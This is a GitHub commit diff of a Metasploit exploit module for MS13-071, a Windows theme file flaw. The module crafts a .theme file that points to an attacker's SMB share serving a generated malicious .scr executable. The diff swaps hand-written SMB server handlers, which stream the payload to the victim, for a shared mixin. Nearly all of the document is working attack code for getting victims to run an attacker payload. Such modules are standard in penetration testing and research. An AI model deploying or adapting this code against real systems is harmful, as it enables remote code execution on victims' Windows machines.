Skip to content

Commit b9ed817

Browse files
committed
Solve conflicts on ms13_071_theme
2 parents 1c064f6 + 4757698 commit b9ed817

File tree

1 file changed

+9
-330
lines changed

1 file changed

+9
-330
lines changed

modules/exploits/windows/fileformat/ms13_071_theme.rb

Lines changed: 9 additions & 330 deletions
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
1010

1111
include Msf::Exploit::FILEFORMAT
1212
include Msf::Exploit::EXE
13-
include Msf::Exploit::Remote::SMB::Server
13+
include Msf::Exploit::Remote::SMB::Server::Share
1414

1515
def initialize(info={})
1616
super(update_info(info,
@@ -28,7 +28,8 @@ def initialize(info={})
2828
'Author' =>
2929
[
3030
'Eduardo Prado', # Vulnerability discovery
31-
'juan vazquez' # Metasploit module
31+
'juan vazquez', # Metasploit module
32+
'Matthew Hall <[email protected]>' # Metasploit module refactored to use Remote::SMBFileServer
3233
],
3334
'References' =>
3435
[
@@ -56,30 +57,18 @@ def initialize(info={})
5657
'Privileged' => false,
5758
'DisclosureDate' => "Sep 10 2013",
5859
'DefaultTarget' => 0))
59-
60-
register_options(
60+
register_options(
6161
[
62-
OptString.new('FILENAME', [true, 'The theme file', 'msf.theme']),
63-
OptString.new('UNCPATH', [ false, 'Override the UNC path to use (Ex: \\\\192.168.1.1\\share\\exploit.scr)' ])
62+
OptString.new('FILENAME', [true, 'The theme file', 'msf.theme']),
63+
OptString.new('FILE_NAME', [ false, 'SCR File name to share', 'msf.scr'])
6464
], self.class)
65+
deregister_options('FILE_CONTENTS')
6566
end
6667

6768
def exploit
68-
69-
if (datastore['UNCPATH'])
70-
@unc = datastore['UNCPATH']
71-
print_status("Remember to share the malicious EXE payload as #{@unc}")
72-
else
73-
print_status("Generating our malicious executable...")
74-
@exe = generate_payload_exe
75-
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
76-
@share = rand_text_alpha(5 + rand(5))
77-
@scr_file = "#{rand_text_alpha(5 + rand(5))}.scr"
78-
@hi, @lo = UTILS.time_unix_to_smb(Time.now.to_i)
79-
@unc = "\\\\#{my_host}\\#{@share}\\#{@scr_file}"
80-
end
81-
8269
print_status("Creating '#{datastore['FILENAME']}' file ...")
70+
self.file_contents = generate_payload_exe
71+
print_status("Malicious SCR available on #{unc}...")
8372
# Default Windows XP / 2003 theme modified
8473
theme = <<-EOF
8574
; Copyright (c) Microsoft Corp. 1995-2001
@@ -118,316 +107,6 @@ def exploit
118107
MTSM=DABJDKT
119108
EOF
120109
file_create(theme)
121-
print_good("Let your victim open #{datastore['FILENAME']}")
122-
123-
if not datastore['UNCPATH']
124-
print_status("Ready to deliver your payload on #{@unc}")
125-
super
126-
end
127-
128-
end
129-
130-
# TODO: these smb_* methods should be moved up to the SMBServer mixin
131-
# development and test on progress
132-
133-
def smb_cmd_dispatch(cmd, c, buff)
134-
smb = @state[c]
135-
vprint_status("Received command #{cmd} from #{smb[:name]}")
136-
137-
pkt = CONST::SMB_BASE_PKT.make_struct
138-
pkt.from_s(buff)
139-
#Record the IDs
140-
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
141-
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
142-
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
143-
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
144-
145-
case cmd
146-
when CONST::SMB_COM_NEGOTIATE
147-
smb_cmd_negotiate(c, buff)
148-
when CONST::SMB_COM_SESSION_SETUP_ANDX
149-
wordcount = pkt['Payload']['SMB'].v['WordCount']
150-
if wordcount == 0x0D # It's the case for Share Security Mode sessions
151-
smb_cmd_session_setup(c, buff)
152-
else
153-
vprint_status("SMB Capture - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... ")
154-
smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
155-
end
156-
when CONST::SMB_COM_TRANSACTION2
157-
smb_cmd_trans(c, buff)
158-
when CONST::SMB_COM_NT_CREATE_ANDX
159-
smb_cmd_create(c, buff)
160-
when CONST::SMB_COM_READ_ANDX
161-
smb_cmd_read(c, buff)
162-
else
163-
vprint_status("SMB Capture - Ignoring request from #{smb[:name]} - #{smb[:ip]} (#{cmd})")
164-
smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
165-
end
166-
end
167-
168-
169-
def smb_cmd_negotiate(c, buff)
170-
pkt = CONST::SMB_NEG_PKT.make_struct
171-
pkt.from_s(buff)
172-
173-
dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/)
174-
175-
dialect = dialects.index("NT LM 0.12") || dialects.length-1
176-
177-
pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
178-
smb_set_defaults(c, pkt)
179-
180-
time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i)
181-
182-
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
183-
pkt['Payload']['SMB'].v['Flags1'] = 0x88
184-
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
185-
pkt['Payload']['SMB'].v['WordCount'] = 17
186-
pkt['Payload'].v['Dialect'] = dialect
187-
pkt['Payload'].v['SecurityMode'] = 2 # SHARE Security Mode
188-
pkt['Payload'].v['MaxMPX'] = 50
189-
pkt['Payload'].v['MaxVCS'] = 1
190-
pkt['Payload'].v['MaxBuff'] = 4356
191-
pkt['Payload'].v['MaxRaw'] = 65536
192-
pkt['Payload'].v['SystemTimeLow'] = time_lo
193-
pkt['Payload'].v['SystemTimeHigh'] = time_hi
194-
pkt['Payload'].v['ServerTimeZone'] = 0x0
195-
pkt['Payload'].v['SessionKey'] = 0
196-
pkt['Payload'].v['Capabilities'] = 0x80f3fd
197-
pkt['Payload'].v['KeyLength'] = 8
198-
pkt['Payload'].v['Payload'] = Rex::Text.rand_text_hex(8)
199-
200-
c.put(pkt.to_s)
201-
end
202-
203-
def smb_cmd_session_setup(c, buff)
204-
205-
pkt = CONST::SMB_SETUP_RES_PKT.make_struct
206-
smb_set_defaults(c, pkt)
207-
208-
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
209-
pkt['Payload']['SMB'].v['Flags1'] = 0x88
210-
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
211-
pkt['Payload']['SMB'].v['WordCount'] = 3
212-
pkt['Payload'].v['AndX'] = 0x75
213-
pkt['Payload'].v['Reserved1'] = 00
214-
pkt['Payload'].v['AndXOffset'] = 96
215-
pkt['Payload'].v['Action'] = 0x1 # Logged in as Guest
216-
pkt['Payload'].v['Payload'] =
217-
Rex::Text.to_unicode("Unix", 'utf-16be') + "\x00\x00" + # Native OS # Samba signature
218-
Rex::Text.to_unicode("Samba 3.4.7", 'utf-16be') + "\x00\x00" + # Native LAN Manager # Samba signature
219-
Rex::Text.to_unicode("WORKGROUP", 'utf-16be') + "\x00\x00\x00" + # Primary DOMAIN # Samba signature
220-
tree_connect_response = ""
221-
tree_connect_response << [7].pack("C") # Tree Connect Response : WordCount
222-
tree_connect_response << [0xff].pack("C") # Tree Connect Response : AndXCommand
223-
tree_connect_response << [0].pack("C") # Tree Connect Response : Reserved
224-
tree_connect_response << [0].pack("v") # Tree Connect Response : AndXOffset
225-
tree_connect_response << [0x1].pack("v") # Tree Connect Response : Optional Support
226-
tree_connect_response << [0xa9].pack("v") # Tree Connect Response : Word Parameter
227-
tree_connect_response << [0x12].pack("v") # Tree Connect Response : Word Parameter
228-
tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter
229-
tree_connect_response << [0].pack("v") # Tree Connect Response : Word Parameter
230-
tree_connect_response << [13].pack("v") # Tree Connect Response : ByteCount
231-
tree_connect_response << "A:\x00" # Service
232-
tree_connect_response << "#{Rex::Text.to_unicode("NTFS")}\x00\x00" # Extra byte parameters
233-
# Fix the Netbios Session Service Message Length
234-
# to have into account the tree_connect_response,
235-
# need to do this because there isn't support for
236-
# AndX still
237-
my_pkt = pkt.to_s + tree_connect_response
238-
original_length = my_pkt[2, 2].unpack("n").first
239-
original_length = original_length + tree_connect_response.length
240-
my_pkt[2, 2] = [original_length].pack("n")
241-
c.put(my_pkt)
242-
end
243-
244-
def smb_cmd_create(c, buff)
245-
pkt = CONST::SMB_CREATE_PKT.make_struct
246-
pkt.from_s(buff)
247-
248-
if pkt['Payload'].v['Payload'] =~ /#{Rex::Text.to_unicode("#{@scr_file}\x00")}/
249-
pkt = CONST::SMB_CREATE_RES_PKT.make_struct
250-
smb_set_defaults(c, pkt)
251-
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
252-
pkt['Payload']['SMB'].v['Flags1'] = 0x88
253-
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
254-
pkt['Payload']['SMB'].v['WordCount'] = 42
255-
pkt['Payload'].v['AndX'] = 0xff # no further commands
256-
pkt['Payload'].v['OpLock'] = 0x2
257-
# No need to track fid here, we're just offering one file
258-
pkt['Payload'].v['FileID'] = rand(0x7fff) + 1 # To avoid fid = 0
259-
pkt['Payload'].v['Action'] = 0x1 # The file existed and was opened
260-
pkt['Payload'].v['CreateTimeLow'] = @lo
261-
pkt['Payload'].v['CreateTimeHigh'] = @hi
262-
pkt['Payload'].v['AccessTimeLow'] = @lo
263-
pkt['Payload'].v['AccessTimeHigh'] = @hi
264-
pkt['Payload'].v['WriteTimeLow'] = @lo
265-
pkt['Payload'].v['WriteTimeHigh'] = @hi
266-
pkt['Payload'].v['ChangeTimeLow'] = @lo
267-
pkt['Payload'].v['ChangeTimeHigh'] = @hi
268-
pkt['Payload'].v['Attributes'] = 0x80 # Ordinary file
269-
pkt['Payload'].v['AllocLow'] = 0x100000
270-
pkt['Payload'].v['AllocHigh'] = 0
271-
pkt['Payload'].v['EOFLow'] = @exe.length
272-
pkt['Payload'].v['EOFHigh'] = 0
273-
pkt['Payload'].v['FileType'] = 0
274-
pkt['Payload'].v['IPCState'] = 0x7
275-
pkt['Payload'].v['IsDirectory'] = 0
276-
c.put(pkt.to_s)
277-
else
278-
pkt = CONST::SMB_CREATE_RES_PKT.make_struct
279-
smb_set_defaults(c, pkt)
280-
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
281-
pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000034 # OBJECT_NAME_NOT_FOUND
282-
pkt['Payload']['SMB'].v['Flags1'] = 0x88
283-
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
284-
c.put(pkt.to_s)
285-
end
286-
287-
end
288-
289-
def smb_cmd_read(c, buff)
290-
pkt = CONST::SMB_READ_PKT.make_struct
291-
pkt.from_s(buff)
292-
293-
offset = pkt['Payload'].v['Offset']
294-
length = pkt['Payload'].v['MaxCountLow']
295-
296-
pkt = CONST::SMB_READ_RES_PKT.make_struct
297-
smb_set_defaults(c, pkt)
298-
299-
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX
300-
pkt['Payload']['SMB'].v['Flags1'] = 0x88
301-
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
302-
pkt['Payload']['SMB'].v['WordCount'] = 12
303-
pkt['Payload'].v['AndX'] = 0xff # no more commands
304-
pkt['Payload'].v['Remaining'] = 0xffff
305-
pkt['Payload'].v['DataLenLow'] = length
306-
pkt['Payload'].v['DataOffset'] = 59
307-
pkt['Payload'].v['DataLenHigh'] = 0
308-
pkt['Payload'].v['Reserved3'] = 0
309-
pkt['Payload'].v['Reserved4'] = 6
310-
pkt['Payload'].v['ByteCount'] = length
311-
pkt['Payload'].v['Payload'] = @exe[offset, length]
312-
313-
c.put(pkt.to_s)
314-
end
315-
316-
def smb_cmd_trans(c, buff)
317-
pkt = CONST::SMB_TRANS2_PKT.make_struct
318-
pkt.from_s(buff)
319-
320-
sub_command = pkt['Payload'].v['SetupData'].unpack("v").first
321-
case sub_command
322-
when 0x5 # QUERY_PATH_INFO
323-
smb_cmd_trans_query_path_info(c, buff)
324-
when 0x1 # FIND_FIRST2
325-
smb_cmd_trans_find_first2(c, buff)
326-
else
327-
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
328-
smb_set_defaults(c, pkt)
329-
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
330-
pkt['Payload']['SMB'].v['Flags1'] = 0x88
331-
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
332-
pkt['Payload']['SMB'].v['ErrorClass'] = 0xc0000225 # NT_STATUS_NOT_FOUND
333-
c.put(pkt.to_s)
334-
end
335-
end
336-
337-
def smb_cmd_trans_query_path_info(c, buff)
338-
pkt = CONST::SMB_TRANS2_PKT.make_struct
339-
pkt.from_s(buff)
340-
341-
if pkt['Payload'].v['SetupData'].length < 16
342-
# if QUERY_PATH_INFO_PARAMETERS doesn't include a file name,
343-
# return a Directory answer
344-
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
345-
smb_set_defaults(c, pkt)
346-
347-
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
348-
pkt['Payload']['SMB'].v['Flags1'] = 0x88
349-
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
350-
pkt['Payload']['SMB'].v['WordCount'] = 10
351-
pkt['Payload'].v['ParamCountTotal'] = 2
352-
pkt['Payload'].v['DataCountTotal'] = 40
353-
pkt['Payload'].v['ParamCount'] = 2
354-
pkt['Payload'].v['ParamOffset'] = 56
355-
pkt['Payload'].v['DataCount'] = 40
356-
pkt['Payload'].v['DataOffset'] = 60
357-
pkt['Payload'].v['Payload'] =
358-
"\x00" + # Padding
359-
# QUERY_PATH_INFO Parameters
360-
"\x00\x00" + # EA Error Offset
361-
"\x00\x00" + # Padding
362-
#QUERY_PATH_INFO Data
363-
[@lo, @hi].pack("VV") + # Created
364-
[@lo, @hi].pack("VV") + # Last Access
365-
[@lo, @hi].pack("VV") + # Last Write
366-
[@lo, @hi].pack("VV") + # Change
367-
"\x10\x00\x00\x00" + # File attributes => directory
368-
"\x00\x00\x00\x00" # Unknown
369-
c.put(pkt.to_s)
370-
371-
else
372-
# if QUERY_PATH_INFO_PARAMETERS includes a file name,
373-
# returns an object name not found error
374-
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
375-
smb_set_defaults(c, pkt)
376-
377-
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
378-
pkt['Payload']['SMB'].v['ErrorClass'] = 0xC0000034 #OBJECT_NAME_NOT_FOUND
379-
pkt['Payload']['SMB'].v['Flags1'] = 0x88
380-
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
381-
c.put(pkt.to_s)
382-
383-
end
384-
end
385-
386-
def smb_cmd_trans_find_first2(c, buff)
387-
388-
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
389-
smb_set_defaults(c, pkt)
390-
391-
file_name = Rex::Text.to_unicode(@scr_file)
392-
393-
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
394-
pkt['Payload']['SMB'].v['Flags1'] = 0x88
395-
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
396-
pkt['Payload']['SMB'].v['WordCount'] = 10
397-
pkt['Payload'].v['ParamCountTotal'] = 10
398-
pkt['Payload'].v['DataCountTotal'] = 94 + file_name.length
399-
pkt['Payload'].v['ParamCount'] = 10
400-
pkt['Payload'].v['ParamOffset'] = 56
401-
pkt['Payload'].v['DataCount'] = 94 + file_name.length
402-
pkt['Payload'].v['DataOffset'] = 68
403-
pkt['Payload'].v['Payload'] =
404-
"\x00" + # Padding
405-
# FIND_FIRST2 Parameters
406-
"\xfd\xff" + # Search ID
407-
"\x01\x00" + # Search count
408-
"\x01\x00" + # End Of Search
409-
"\x00\x00" + # EA Error Offset
410-
"\x00\x00" + # Last Name Offset
411-
"\x00\x00" + # Padding
412-
#QUERY_PATH_INFO Data
413-
[94 + file_name.length].pack("V") + # Next Entry Offset
414-
"\x00\x00\x00\x00" + # File Index
415-
[@lo, @hi].pack("VV") + # Created
416-
[@lo, @hi].pack("VV") + # Last Access
417-
[@lo, @hi].pack("VV") + # Last Write
418-
[@lo, @hi].pack("VV") + # Change
419-
[@exe.length].pack("V") + "\x00\x00\x00\x00" + # End Of File
420-
"\x00\x00\x10\x00\x00\x00\x00\x00" + # Allocation size
421-
"\x80\x00\x00\x00" + # File attributes => directory
422-
[file_name.length].pack("V") + # File name len
423-
"\x00\x00\x00\x00" + # EA List Lenght
424-
"\x00" + # Short file lenght
425-
"\x00" + # Reserved
426-
("\x00" * 24) +
427-
file_name
428-
429-
c.put(pkt.to_s)
430110
end
431111

432112
end
433-

0 commit comments

Comments
 (0)